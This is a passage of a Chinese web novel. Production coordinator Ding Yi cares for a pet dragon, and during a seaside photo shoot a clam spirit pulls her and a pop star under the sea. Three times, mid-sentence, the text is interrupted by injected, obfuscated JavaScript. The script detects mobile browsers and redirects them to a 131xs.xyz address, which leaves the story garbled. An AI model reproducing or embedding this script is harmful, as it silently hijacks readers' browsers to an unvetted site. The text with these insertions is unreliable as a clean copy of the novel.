“嗅嗅嗅嗅嗅!别给我嗅了!” 前往1号棚,丁依检查了她的任务进展。 具体来说,她今天不算太忙。明天,才是她最忙的时候。 明天是《重启顶流时代》的带妆的舞台预录。预录当天,丁依要负责协调时尚杂志团队,拍摄全部艺人的舞台造型时尚大片和宣传片。 这种拍摄是现在的选秀综艺标配,因为节目在绿洲市拍摄,录制的影视基地也正好靠近海边,时尚杂志提案的时候,便提议把这个拍摄定在绿洲海边的沙滩——回龙湾上。 得知这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559081|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “海边大片”的方案被领导拍板定下的时候,丁依的心都在滴血。 和时尚杂志上普通的海边大片不同,《重启顶流时代》这种选秀节目里的大片,因为涉及艺人众多、通告妆造难以协调,所以要一天就全部拍完。 一天之内,拍完七个多人小组的时尚大片,涉及多人员多线程协调问题,再加上海边这阴晴不定的天气,以及户外拍摄时长有限的天光,是所有拍摄执行统筹的噩梦。 所以,今天一整天,丁依也没闲着。她在各个舞房转悠,和艺人PD打听各组的明日计划,为明天的拍摄提早做准备。 转悠到魏家隆组的时候,发生了一个小插曲。 一见到丁依,魏家隆的PD就把她拉到一边询问: “小丁老师,我和您打听一个事。” “你说。” “昨天拍的宣传物料里,有一条变装视频,魏老师想补拍一版,您看还有可能吗?” 丁依一愣。“他昨天没拍吗?” PD的表情很苦恼。“拍了,但魏老师觉得不满意。” 听到这句,结合这两天听说的魏家隆的风评,丁依有一种果然如此的感觉。 她故意做出为难的表情,想打消对方的念头:“抱歉,我们就付给拍摄团队一天的钱,对方已经做飞机走了,不可能重拍了,当时编导应该请各位艺人都确认过画面的吧?魏老师没确认吗?” 听到她的话,PD有些羞赧。 “看是看了,他当时就想重拍,但我急着让他去见舞台总监,就劝他去见了舞台总监再重拍,没想到后边……有点不顺,等所有都处理完,我和他再回去您那边,已经过了零点,当时魏老师看到您那边正在收置景,就说算了,让我今天再来问问你。” 丁依有些惊讶,脸上故意做出来的表情也淡了——她没留意到魏家隆昨晚回过那个屋子。 虽然昨晚她紧赶慢赶,就是为了赶在零点前拍完宣传物料、避免拍摄预算超支的危机。但如果魏家隆早点跟她打声招呼,她还是有办法让拍摄团队多留个十几分钟。 “既然不方便补拍,那我去和魏老师说一声。”PD见丁依没接话,便自己给了一个台阶下。 丁依回过神,也客套道:“好的,辛苦你跟跟魏老师解释下,不是我们有意拒绝,实在是那个拍摄团队我们就请了一天,也是预算不够。” PD露出一个苦笑:“没事,拒绝也没事,魏老师这几天都被拒绝麻了,习惯了。”说完她挥挥手,转头离开。 PD走后,丁依沉思了一会儿,她好像隐隐琢磨出来,魏家隆这个人的性格和差评到底是怎么回事了。 不过这跟她关系也不大。 她抬头看了看不算晴朗的天空,祈祷明天是个好天气,能让她的“海边大片”拍摄得顺利一点。这才是她的头等大事。 晚上回到酒店,丁依给自己冲了杯热红糖水,边喝边揉着自己越来越酸胀的腰。 龙又想把灵虾塞给她,被丁依拒绝了。 它还不放弃,用嘴筒子强行拱开丁依拿杯子的手,想把灵虾塞进去,结果差点弄泼她的红糖水。 丁依被弄得有点烦了,随口扯谎想要吓住它:“别弄了!我在‘喝药’!不要影响我了!” 说完,她就发现龙一动不动地看着她,一双蓝眼珠湿漉漉的,像很伤心的样子。 真的如愿把龙吓住,丁依反而愧疚了。 她一边觉得自己像道德绑架小孩的家长,一边心里又忍不住嘀咕:奇怪,她的语气应该没那么凶啊? 她刚想说点什么挽回一下,却看到龙已经不再看她了。它的脖子往后拧,做出一个像是猫在舔毛的姿势,好像是在整理自己的鬃毛。 这么快就自己调理好了? 丁依正要放下心来,下一秒,就看见龙拧在后面的脑袋猛的一拽。嘶拉,空气中传来一声轻轻的皮肉撕裂的声音。 什么声音?丁依的雷达响了。 龙倒是很从容淡定的样子。它不紧不慢地转过头,嘴里衔着什么,哒哒两步走上前来,拱起丁依的手,又想把什么东西放在她手上。 丁依摊开手接着,低头看了一眼,觉得自己简直要昏厥过去—— 龙放在她手上的,居然是一片带血的龙鳞。 20. 第 20 章 看着这片带血的龙鳞,丁依的太阳穴一跳一跳的。 她把龙鳞放在桌上,一手锢着龙脖子,一手拨开龙后颈的鬃毛,检查刚刚它头拧过去的位置—— 果然,脖子的左后侧,原本细密整齐的鳞片中,冒出了一个血窟窿。 伤口虽然并不严重,但对于龙为什么要拔自己的鳞片,丁依产生了强烈的疑惑。 在给被拔掉鳞片的伤口简单清创后,她掏出药膏,准备给龙上药。 闻到熟悉的草药清香,龙的鼻子耸了耸,尾巴尖也欢快地拍打起了地板。 下一秒,这条尾巴就紧紧缩了起来——丁依沾了药膏的手,毫不留情地按上了它的伤口。 感受到手下的龙躯一震,丁依心想:原来还是知道疼的。 她的手下放缓,心中沉思。 龙是先给的她灵虾,见她不要灵虾后,再拔的自己的鳞片。 这意思莫非是,想把自己的鳞片给她吃? 龙的鳞片,也可以吃? 想到这里,她看了一眼桌上的龙鳞。 这片龙鳞,在从龙身上剥离后,原本的莹白光泽褪去,已经变成一片晦暗发灰、死气沉沉的角质。 嗯……看起来很难吃的样子。 上完药,丁依洗过手来到桌边,在台灯的光源下继续端详龙鳞。 龙鳞根部较厚,边缘锐利,不仅看起来硬,摸起来也确实非常坚硬,丁依用指甲又掐又刮,也没有留下一丝痕迹。她试探着用牙齿咬了一下,口感和咬石头似的。就这龙鳞的硬度,她如果硬要吃下去,不是牙齿崩掉,就是肠道出血。 看来,这龙鳞不是给她吃的。 她把这片龙鳞收进了袖里乾坤,准备之后再找机会问问叶瑾瑜或者梁凡。 看到在一旁地毯上打滚的龙,丁依走过去,扶住差点被它撞倒的灯架。 她刚刚又想到一个问题——既然龙的鳞片这么坚硬,并且通身覆盖,那这条龙当初,怎么还会受那么重的伤? 她伸出一根手指,沿着龙脊往下摸,那是她记忆里,那道触目惊心的贯穿伤曾经划开的位置。 沿着她的手指触及之处,龙鳞一片一片地闭合起来,收起了尖锐的边缘,温顺地贴合着龙脊的曲线,像莹白起伏的山峦。 看到鳞片的变化,丁依心头冒出了一个猜想。她试探着伸出指尖,轻轻挠了挠某一块尚未闭合的鳞片,趴着的龙立刻扭了扭,好像觉得痒似的。 果然,龙的鳞片是有感觉的,非常坚硬,也非常敏感。 如果摸一摸都有感觉,那当初它受那么重的伤时,她根本想不出会有多痛。 察觉到丁依的手不动了,龙扭过毛茸茸的脑袋看了她一眼。 见她在发呆,它歪了歪脑袋,然后翻身一倒,对着丁依露出了自己的肚皮。 和被坚硬鳞片覆盖的龙脊不同,龙的腹部并没有被鳞片覆盖,皮肤下甚至透出淡淡的粉色。丁依伸手揉它的肚子,一揉就揉进一片绵软里,和摸龙背的手感有着天壤之别。 传说中,龙的身体由不同动物的部位组成——鹿角,驼头,兔眼,蛇身,蜃腹,鱼鳞,鹰爪,虎掌,牛耳——而龙的腹部,正是由柔软的贝肉化为。丁依今日一摸,觉得果然名不虚传。 不过奇怪的是,龙的腹部如此柔软,可当初那块巨大金属残片,却是先从它的背后刺入,然后再贯穿它的身体的。 丁依猜想,这很有可能是因为对方在攻击时,龙把腹部保护得太好,对方实在攻击不到腹部,才从暴露在外的龙背下手硬刚。 不过,看着面前这条敞开肚皮扭来扭去的龙,丁依又对自己的猜想产生了怀疑——这条龙真的有任何自我保护的能力吗?也许对方根本不需要硬刚,只要开口哄哄,它就能把肚皮露出来任人处置。 洗完澡后,丁依打开电脑,新建了一个文档。 她把这段时间她对这条龙的观察和猜想都写了下来,包括龙的行为习惯、身上的疑点、后续可能引发的问题。 毕竟,等她出差一结束,这条龙就会被送回叶瑾瑜那里,到时候她就可以把这个文档一起给过去。后面她的工作只会越来越忙,这样把信息都交接好,也省了别的麻烦。 麻烦很快又来了—— 丁依准备睡觉时,龙非要跟着一起上床。 她试着把龙推下去,却发现怎么推也推不动。 不是她的错觉,这条龙的力气真的越来越大了。 丁依最终放弃。她安慰自己:让它睡床上吧,也就麻烦这最后几天了。 虽然做出这样的恶龙行径,但龙看向丁依的眼神倒还是很纯良。 见丁依不再推它,它便开始在丁依的被子上左刨右刨。把被子刨出一个“小窝”似的堆起的角落后,它安心地趴了进去,发出一声幸福的呼哧声,轻轻摇晃了一下落在地毯上的尾巴。 关了灯,龙的呼吸马上变得均匀深沉——它睡着了。 毛茸茸的龙头贴着丁依的脑袋,长长的鬃毛也像毯子似地盖在她身上。温热的体温隔着被子传来,把丁依捂得够呛。 她心里嘀咕: 龙的身体是蛇,可蛇不是冷血动物吗?怎么体温这么高? 不对,现在挤着我的是龙的腹部,那就是贝壳。可贝壳肉,也没听说是热乎乎的吧? 回想起刚刚看到的龙肚子,裹在被子里的丁依突然脸色一变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565246|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她刚刚,好像没有看到这条龙的…… 想到这里,丁依睡不着了。 她把手伸出被子,摸起手机,打开聊天软件,点进叶瑾瑜的头像,开始在聊天对话框里打字。 她打三个字删两个字,半天才打出一句话。好不容易把问题打全了,她又把问题删了。 犹豫了一下,她关掉聊天软件,打开了AI软件,重新把问题输入进去。 这次,问题很快被她发送了出去: 「请问,蛇的生-殖-器,平时是隐藏起来的吗?」 AI软件的回答来得很快: 「雄性蛇的交-配-器官和雌性蛇的生-殖-器(泄殖腔及输卵管)在非繁殖状态下是完全隐藏在体内的,外观上没有任何外露结构」 看着这个答案,丁依蹙眉思考了一会儿,又输入了第二个问题: 「那,贝壳类的生-殖-器,平时是隐藏起来的吗?」 AI老师再次秒答: 「贝壳类生物的生-殖策略高度多样,多数种类生-殖-器平时隐藏,仅在繁殖时短暂发挥作用。这种适应性设计兼顾了保护性与繁殖效率」 丁依的眉头皱得更紧了。 算了。 她放下手机,闭上眼睛,皱着眉头试图再次入睡。 可眼睛没闭几秒,就又忍不住睁开。 她再次拿起手机,打开AI软件,输入了第三个问题。 「传说中,龙的身体由不同动物的部位组成,身体是蛇,腹部是贝壳。按照传说,龙的生-殖-器官应该是跟着蛇的还是贝壳的?」 关于这个问题,AI老师给出了如下见解: 「传说中,除了“龙的身体由不同动物的部位组成”,还有“龙性-淫-说”的传说记载。根据“龙性-淫-说”进行合理推测:中国民间传说中龙“性-淫”,能与牛、马、鱼□□产下杂-交生物(如《五杂俎》载“龙与蛇交生蛟”),暗示其生-殖-器具有跨物种适配性,可能形态可变。」 看到这个答案,丁依遗憾地摇了摇头。 “龙性-淫-说”是假的,她刚拜入叶瑾瑜门下不久就知道,这个知识点撞她枪口上了,这条回答完全不可信。啧啧,AI回答起妖怪的问题,还是有点术业不专攻。 犹豫再三,思前想后,丁依最终还是点开了叶瑾瑜的对话框: 「师父,我有个问题想要请教……」 编辑好问题,点击了“发送”,丁依长舒一口气。 是啊,早这么问就好了,之前她实在是想太多了。 放下手机,闭上眼,在龙热乎乎的喘气声中,丁依安心地睡着了。 21. 第 21 章 早上5:00,刺耳的闹铃声响起,丁依从闷热的梦中醒来。 她想抹一把额头的汗,却发现自己动弹不得—— 龙的尾巴把她紧紧地卷着,就像瑞士卷中央的那一坨奶油一样。 费了九牛二虎之力,她从龙的身下逃脱。 龙自己倒是睡得很沉,即使在她和闹铃的双重“攻击”下,也没有被吵醒。 拿起手机,按掉闹铃,丁依点开聊天软件,扫了一眼叶瑾瑜的头像——没有新消息通知。 估计是还没起床。 光速结束起床后的各项准备,丁依掐指把龙变小,塞进包里,提溜着出了门。 龙睡眼朦胧地睁眼看了看发生了什么,就又阖上眼睛,再次陷入甜美的梦乡。 丁依抵达回龙湾时,拍摄团队也才刚到不久。 不同于时尚杂志编辑的刻板印象,负责今天拍摄的编辑Cici姐,是一位穿着朴素、身材丰满、笑容十分有亲和力的女性。她和丁依已经是第二次合作。 看见丁依,Cici姐热情地和她打招呼:“哎哟,这么早来?我们摄影师还在准备呢!” 丁依笑了笑:“醒了就睡不着,先过来看看。” “你啊,就是太辛苦啊,”Cici姐说着,递给丁依一杯咖啡。 她接着问丁依:“昨天你说准备订个小棚,当作室内拍摄的PlanB,已经订了吗?” 丁依点点头:“已经付了定金,在园区里,离这里很近。” “好吧,不过……”Cici姐有点犹豫,“今天天气这么好,这个室内的棚……咱们还用的上吗?” 听她这么说,丁依抬头看了看天空——太阳还没完全出来,但可以看出是个晴朗的好天。 昨天半夜她查天气预告的时候,还是“多云转阴,可能有小雨”。 今天的好天气,绝对是个意外之喜。 “看起来,是有九成的几率用不上了。” Cici姐问:“那要不退了?好大一笔钱呢。” 丁依道:“不用现在退,和场地商量好了,如果最后没用上,他会把定金退给我们的。” 听她这么说,Cici姐舒了口气: “那行,今天拍摄的地方正好叫‘回龙湾’,那就拜托龙王爷保佑不下雨,帮咱们省掉这个场地费!” 丁依听到她的话,忍不住看了眼自己包里熟睡着的小小一团。 “嗯,希望龙王爷能听到吧。” 回龙湾是礁石海岸,按照时尚杂志的拍摄方案,艺人要背朝大海,站在三块错落的大礁石上。礁石所在的地方海水并不深,昨天丁依自己来测试过,即使摔倒掉进海里,人也最多是浸入半身,所以并不危险。 测光时,摄影师要找三个人帮他上礁石站一下位置。 丁依手上暂时没事,就主动提出支援。她不仅自己上阵,还帮摄影师拉来了另外两个壮丁—— 老杨和小虞。 岸上,摄影师和时尚杂志的拍摄团队正在忙忙碌碌。 礁石上,测光工具人老杨和小虞有气无力,哈欠连连,一副随时准备要落水的样子。 丁依看不下去,敲打他俩:“打起精神,摄影师在监视器里看着我们呢。” 老杨叹道:“5:30就起床,精神不了一点。” 丁依铁面无情:“不是你自己说,让我在魏家隆来之前叫你的吗?” 老杨叫冤:“可你也没说,魏家隆是第一组拍啊!” 原来,昨晚,老杨听说今天有海边拍摄,主动要求说要来跟,还让丁依在魏家隆组来之前通知他。 不凑巧的是,丁依吸取了上次拍宣传物料时的教训,把魏家隆他们放在了第一组。 此时,一阵海风吹来,老杨打了个寒颤。 老杨哆嗦着道:“我不中了,这不光困,还冷啊!不行,我找个人借件外套。” 说完,他便和摄影师打了声招呼,请了个摄影助理替他站位,自己往影视基地里跑去,估计是找想找哪个新认识的节目组摄像借外套。 丁依倒是穿了外套,但也被这海风吹得头皮发麻。 她揉了揉腰,看了一眼旁边的人鱼。他对海风毫无感觉,只是困得头直点地。 她随便找了个话题,想让他打起精神。 “小虞,以前你在海里的时候,都干些什么?” 人鱼强行睁开快闭上的眼睛,回答她:“吃饭,睡觉,睡觉,吃饭。” 这么幸福,吃了睡睡了吃?丁依心里不平衡了 “你就一点不用修炼吗?”她问。 “修炼?我活着就算修炼了。” “法术呢,也不用练习吗?” “法术?反正常用的几种,是天生就会。” “那你化形成人,也是……” 看到人鱼又红起来的脸,丁依主动打住了话头。 是了,她忘了,人家之前就告诉过她,人鱼等到发情期,自然而然就会化形成人了。 丁依有点明白过来了。 从前叶瑾瑜告诉她的是:妖怪修炼,要分三重境界,“启明”、“幻形”、“结丹”…… 而在妖怪自己看来,什么修炼?我只是呼吸罢了。哪一境?我活到哪一境就算哪一境吧。 两边谈的根本就不是一回事。 说话间,她感应到什么,往远处岸上工作人员放包的临时置物架看去。 一个鬼鬼祟祟的小脑袋,正从她的包里探出头来,查看周围情况。 那条瞌睡宝宝终于醒了。 龙从丁依的包里出来,抖了抖脑袋上的鬃毛,身体嘭地一下变大。 它左右搜寻了一番,和丁依对上目光,哒哒哒地就想跑过来找她。 丁依见状,摇头摆手跺脚,示意它不准过来。 注意到丁依的动作,Cici姐关切地问道:“小丁你不舒服啊?要不换个人替你?” 丁依立刻解释:“不用Cici姐,我就是站麻了,活动一下。” Cici姐:“好好好,需要的话随时跟我说。” 丁依嘴上答应着,余光瞥到龙蹑手蹑脚地爬到了礁石边,趁Cici姐没注意,又给了它一个“别过来”的眼神。 龙接收到丁依的指令,虽然看起来有点失望,但还是听话地转身离去。 “这条龙虽然什么也不会,但还是挺听你话的。”围观了这一幕,人鱼点评。 “是啊,人家可比你好带多了。”丁依随口道。 人鱼皱了皱眉:“我是妖怪,又不是宠物。要是我像那条龙一样没有攻击性,早就在海里被其它妖怪给吃了。” 丁依下意识想反驳,又忍不住先看了一眼岸上的龙—— 人家正在和自己变出的小虾玩儿呢。 行吧! 说起来,丁依自己也察觉,她养这条龙时的心态,确实和之前养人鱼、还有其它那些妖怪时不一样。 具体怎么不一样…… “小丁,我们都准备好了,魏老师他们啥时候来啊?” 岸上传来的声音打断了丁依的思绪,她一抬头,看到Cici姐、摄影师和其它工作人员已经结束了手里的准备工作,正齐刷刷地看着自己。 她点点头:“稍等一下,我来问问。” 说着便走下礁石,想要去临时置物架拿自己的手机。 小虞睡眼惺忪地踏着礁石,也跟着她往岸上走去。 突然,他好像察觉到什么,回头看向身后的海。 凝视着远处的海岸线,人鱼的鼻子动了动,金色的瞳孔久违地亮了起来。 岸上,远处的置物架。 看到丁依终于走过来,龙兴奋得摇头摆尾,把本不牢固的置物架装得哐当作响。 丁依一把压住置物架,做贼心虚地扫了一眼周围。 确认没人注意到这里,她才狠狠锤了锤龙的脑袋。 “消停点,刚跟别人夸你呢!” 拨开凑过来的龙,丁依把手伸进帆布包里。 她刚要掏出手机,便看到远处有几个影影绰绰的人影。 仔细辨认了一下是谁,她赶紧回头,冲Cici姐她们喊道:“魏家隆他们组来了,请全体老师准备,一会儿开始拍摄!” Cici姐给丁依比了个OK的手势。 看了眼时间,和通告表上的分毫不差,她转头和摄影师感慨: “今天真是运气爆棚,不仅多云爆改晴天,流程时间还衔接得这么丝滑。之前你还说这次拍摄十有八九是渡劫,怎么样,没想到吧?” “这天气是真好,好得都有点过头了,”摄影师看了眼万里无云的天,用手给自己扇了两下风,“刚刚还有点风,现在连风都没有了。” “惜福吧,没风才好呢,不都说——说风就是雨嘛!你看我们这运气,别真是龙王爷显灵了,”Cici笑道,“不聊了,快准备吧!” 一旁,气喘吁吁地赶回来的老杨,也正伸出手感受空气——奇怪,刚刚还那么料峭的海风,现在居然一丝也无了。 害!外套白借了,浪费了他一根烟! 眼看魏家隆一行越走越近,老杨想起了他来这里的正事。 他大声呼唤小虞:“小虞,干活了,快把机器架起来——” 喊了两句,发现四处都没人应声,老杨觉出不对来。 他环顾了一圈,发现不仅人群里不见小虞,礁石上也不见他的身影。 这小子,怎么关键时刻掉链子? 那边,丁依已经接到三个艺人和他们的团队,正和他们一一问好。。 龙乖巧地蹲在她的身边,圆圆的蓝眼睛滴溜溜地转着,观察着这群陌生的凡人。 之前,给艺统发通告时,丁依已经注明各位艺人带妆前来,这样到了就开始拍,不耽误整体流程。 此时接到艺人,丁依还是按照原计划,打完招呼就想直接把他们往拍摄地点那边领。 见状,随行的某位艺人经纪开口:“哦,直接就开始拍吗?稍等下,化妆师,先给咱们艺人补一下妆吧。”见大家都转头看他,他又补了一句解释:“走过来挺远的,也没个车接,妆有点化了。” 丁依只是笑了笑,没有接他这句话。 其他人也没有应声,众人一起沉默地等那位艺人补妆。 可能觉得闲着也是闲着,魏家隆的化妆师也掏出粉扑,想顺便给魏家隆压一下油。 见她伸手,魏家隆皱着眉头躲开:“不用了,他补完妆了我补,大家一起陪着要等到什么时候?我的妆就这样可以了,过去直接拍吧。” 听到这句,那位正在补妆的艺人抬了抬眼睛,没说什么。倒是他的经纪人,在他身后翻了个巨大的白眼。 等那人补完妆,丁依领着三位艺人往礁石走去。 三块定点的大礁石,都已经贴上了大力胶做标记,三人只要按照站位,各自站上自己的那块礁石就行。 艺人走上礁石的时候,那经纪人在岸边咋咋呼呼地嘀咕:“小心点 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快门声不断响起,摄影师身形灵活地蹲高起低,嘴里拼命给三位拍摄对象输出情绪价值。 “很好!” “老师们换个姿势!” “王老师太帅了!” “贾老师头侧一点!对对!” 这时,摄影师停了一下,看了一眼魏家隆的姿势,喊道: “魏老师也很帅!就是您右腿能不能再抬高一点?这样更潇洒!” 听到摄影师的话,魏家隆犹豫了下,开口道: “我的右腿抬不高,裤腿好像被石头缝夹住了。” 听到他的话,Cici姐暂停了拍摄,跑上礁石,想帮他扯出裤腿。 她跑到魏家隆近前,蹲下一看,心里生出奇怪: 这裤腿吊那么高,和礁石根本挨不着,怎么可能被石头夹住? 联想起之前听过的“魏家隆难搞”的传言,Cici姐心里打鼓: 他的裤腿既然没事,平白无故叫停,不会……是在找我们的事吧? 心里估量了一番,她起身和魏家隆说道:“您的裤脚没被石头夹住,估计是衣服里面没穿好扯着了,我叫服装师过来给您调整一下吧?” 听到这句,魏家隆还没开口,岸上就有人出声: “衣服没穿好,服装师之前怎么不检查好?这么热的天,就这么让我们艺人在石头上干等啊?” 出声的,还是刚刚那位经纪人。 眼见战火一触即发,站在临时置物架旁的丁依叹了口气,知道自己不能继续冷眼旁观了。 顾不得拿上手机,她急急忙忙地跑过去,龙跟在她身后,一起哒哒哒地跑着。 Cici姐看到丁依过来,就像看到救星。 “小丁,你看魏老师的服装,是怎么解决……” 丁依跑到礁石边,正要开口说话时,突然停住了—— 嗯? 有点不对。 不,是很不对。 面对Cici姐的视线,她脸上佯装镇定自若,嘴中默念咒语,手背在身后,掐指打开了灵识。 霎那间,她的五感变得格外敏锐。 闷热的空气中,一股之前没有察觉的腥臭味,粘稠地挤进了丁依的鼻腔。 要在平时,闻到了这种味道,丁依早就忍不住捂住鼻子了。 但此时此刻,因为震惊于灵识视野中的所见,她甚至忽略了鼻腔里的臭味。 见丁依着急忙慌地跑过来,却又突然站着不动,Cici姐一头雾水。 转头,她就看到魏家隆的脸已经黑了,抬脚似乎想走。 要是魏家隆生气走了,不光这场拍摄暂停,后面的通告也都要堵车。 Cici姐再次开口催促突然“发呆”的丁依: “小丁,你看这个情况……” 话还没说完,Cici姐就感觉眼前一个虚影晃过。 众人眼前,丁依正用像飞一样快的速度,径直向魏家隆“跑”去。 礁石上的魏家隆也被唬住。 这女孩是刚刚接待他们的那个?她跑得这么快? 眼见这女孩还差一步之遥就要扑到自己身上,她却突然开始在空气中挣扎。 她的脚不断地踹向空气,就好像是—— 空气中有一个看不见的东西,扯住了她的脚。 即将被那东西拖入水中的瞬间,出于人的求生本能,丁依下意识朝着面前的魏家隆伸出了手。 魏家隆没有犹豫,马上拉住了她伸出的手。 被拉住手的瞬间,丁依才反应过来:坏了! 显然,魏家隆拉住她的力量,并不足以和那个看不见的东西抗衡。 瞬间,他就和丁依一起,噗通落入了水里。 与此同时,礁石周围原本应该才半人深的海水,突然变得幽深不见底,海水瞬间淹没了他们的头顶。 嗖地一下,两人齐齐消失在了海水中。 目睹了这一幕,所有人都愣了。 还在礁石上的另外两个艺人,愣了半秒,就脸色发白地先后跑回来岸上。 Cici姐最快回过神来,大喊:“快打110!不对,打120!不!打119!” 她的声音跟要哭了似的,心里也止不住地悲鸣: 这龙王怎么这么不禁夸,既然保佑了天气,怎么不捎带着免了人祸啊!! 22. 第 22 章 倒转时间,回到几秒前的岸上。 打开灵识的瞬间,丁依视野里原本清亮透彻的大海,立刻变为一片怪异浑浊的幽蓝,像巫婆的汤药般蒸腾着腥臭的瘴气。 这说明海里有妖怪,而且是只心术不正的妖怪。 她把灵识开到最大,在浑浊的海水中梭巡,很快就发现一团虚影。 那虚影正贴在魏家隆踩着的那块礁石壁缓慢地往上挪动,马上要碰到魏家隆的裤脚。 ——不好! 顾不得周围的目光,丁依手里掐着缩地诀,五步并作一步,向魏家隆的方向发足狂奔。 可她身影一动,刚刚还沿着礁石壁缓慢挪动的虚影,飞快地闪了一下,瞬间消失。 哎? 她摸不着头脑,正要停下探查,突然感觉右脚被一股力量扯住。 低头一看,她的脚上,赫然夹着一只妖怪。且这妖怪,居然还是一个她的熟面孔—— 曾在妖行街参加过她的生日宴的,那只小蚌精。 丁依脑中生出巨大的疑问,一时不知该如何是好。 她刚想开口询问是不是有什么误会,这蚌精却骤然发力,似乎是想将她拖入海中。 来不及思考,她下意识朝旁边伸出了手,又被丈二和尚摸不着头脑的魏家隆一把握住,两人就这样齐齐被小蚌精拖入了海中。 入水的瞬间,丁依快速地过了一遍脑子。 既然已经知道这海里的妖怪是小蚌精,丁依觉得,凭借自己她的力量,至少有九成的把握能降伏这只蚌妖。 不过前提是,她得先甩开魏家隆这个拖油瓶。 这样想着,丁依便开始死命扒拉魏家隆的手,想把他从自己身边推开。 不料,在感受到丁依想让他松手的意愿后,魏家隆把手握得更牢了。 他憋着气,两脚乱蹬,剩下的一只手则对着丁依拼命比划,意思是告诉她——自己会游泳。 可现在抓住我俩的是妖怪啊,大哥! 丁依有苦说不出。 她的脚下,那只蚌妖似乎对他俩的动静毫无察觉。 它背对着丁依,笨拙地扇着它的贝壳,一门心思只想把他们往海的更深处拖去。 妖怪的移动速度不可用人类的物理学来估量。这蚌妖的动作虽然看起来笨拙缓慢,但丁依的耳膜却迅速感觉到了疼痛,这意味着他们在飞速下潜。她赶紧捏住鼻子平衡耳压。 魏家隆似乎也感受到了耳压额变化。在发现自己的“泳技”完全没用之后,他的神色肉眼可见地慌张了起来。他拉着丁依,对她睁大眼睛,似乎想说些什么,可嘴巴刚一张开,他就立刻呛了一口海水。 自然可畏,这样下去要闹出人命,现在不知两人到底下了多深,冒然让魏家隆直接浮上去,也怕他会得减压病。 丁依当机立断,给了魏家隆脖子一记手刀把他劈晕,然后掐指捏诀,张开了一个小小的随身结界。这随身结界没有攻击和抵御妖力的能力,却能隔绝开海水,供给氧气,让两人都得以呼吸。 确认魏家隆的呼吸恢复正常后,丁依也喘了口气。 她重新分析了一下目前的事态: 事已至此,魏家隆这个拖油瓶是确定甩不掉了。 但如果敌人是这只小蚌精,自己还是有七成把握,情况还算乐观。 脚下,小蚌精仍在缓慢地扇着它的贝壳。 它不发一言,也不回头看二人一眼,只一昧麻木地往前游。 瘴气遮挡了丁依的视野,但她察觉到,蚌妖没有带着他们继续下降,而是开始往某个方向游去。 这说明,它心中有一个计划要去的目的地。 灰蒙蒙的瘴气不仅弥漫在四周,还紧紧缠着小蚌精自己。 丁依多看了两眼它开合的贝壳,突然发现这原来并不是妖怪用以攻击和防身的瘴气,而是一股浑浊的死气。 这小蚌精身上,哪儿来的这么重的死气? 她还记的当初在妖行街的生日宴上,这只小蚌精虽然有些懦弱气短,但那贝壳开合敲击时,也有几分神气。当时自己似乎还听见它跟别的小妖怪吹牛,说什么……黄龙封它掌管了一方水域?怎么现在,它又缠着满身的死气出现在这里,不仅和之前的它判若两蚌,还莫名伤人? 这样想着,丁依松开了手里的法诀。 她原本准备伺机偷袭,尽快逃脱,但发现这只小蚌精如此奇怪后,她又起心动念,想着:既然自己有七成把握,便不急着脱逃,先探探究竟吧。 嘿咻。嘿咻。嘿咻。 小蚌精又继续游了好一会儿,才终于停下。 前方有微弱的金光透进来,将这令人窒息的死气稍微驱散开了一点。 丁依伸长脖子,向金光的源头望去,看清了之后,她瞬间黑了脸—— 这金光的发源,居然是老杨刚刚遍寻不到的小虞。 这条人鱼此刻双眼紧闭,似乎是陷入了昏迷。他的身体被某种浆糊般的粘稠粉白色物质层层叠叠地紧紧裹着,如同一颗蝉蛹,只留下脑袋和一头海藻般的金色长发露在外面。 丁依心如死灰。 完了,一个魏家隆,再加上这条人鱼,她原本的七成把握,现在下降到五成了。 事已至此,她强行劝自己乐观一点。五成,也还有一半的希望。 她沉下呼吸,手中掐诀,几缕白光从她身上逸出,化形为好久不见的白光小狗。 白光小狗和丁依一心同体,它领会丁依的心意,从蚌精的贝壳下偷偷钻过去,灵巧地游到人鱼的脑袋旁,然后“啊呜”一口,咬在了人鱼的脸颊肉上。 “哎哟!” 人鱼吃痛,大叫一声,睁开眼从昏迷中惊醒。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581757|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >丁依没想到人鱼会叫得这么大声,她赶紧低头往脚下的小蚌精看去。 这一看,她的心猛地一跳—— 不知什么时候,她的双脚也被小蚌精裹上了人鱼身上同款的粘稠粉白色物质,她试着动了动腿,发现这粉白色物质看起来是浆糊一样的流质,可裹上之后,却会让人一点也动弹不得。 不仅如此,更让她恐慌的,是小蚌精既不管醒来的人鱼,也不管试图挣扎的她,只是不停地围着她打转。它每转一圈,就又有一层粘稠的粉白色物质裹上她的身体。 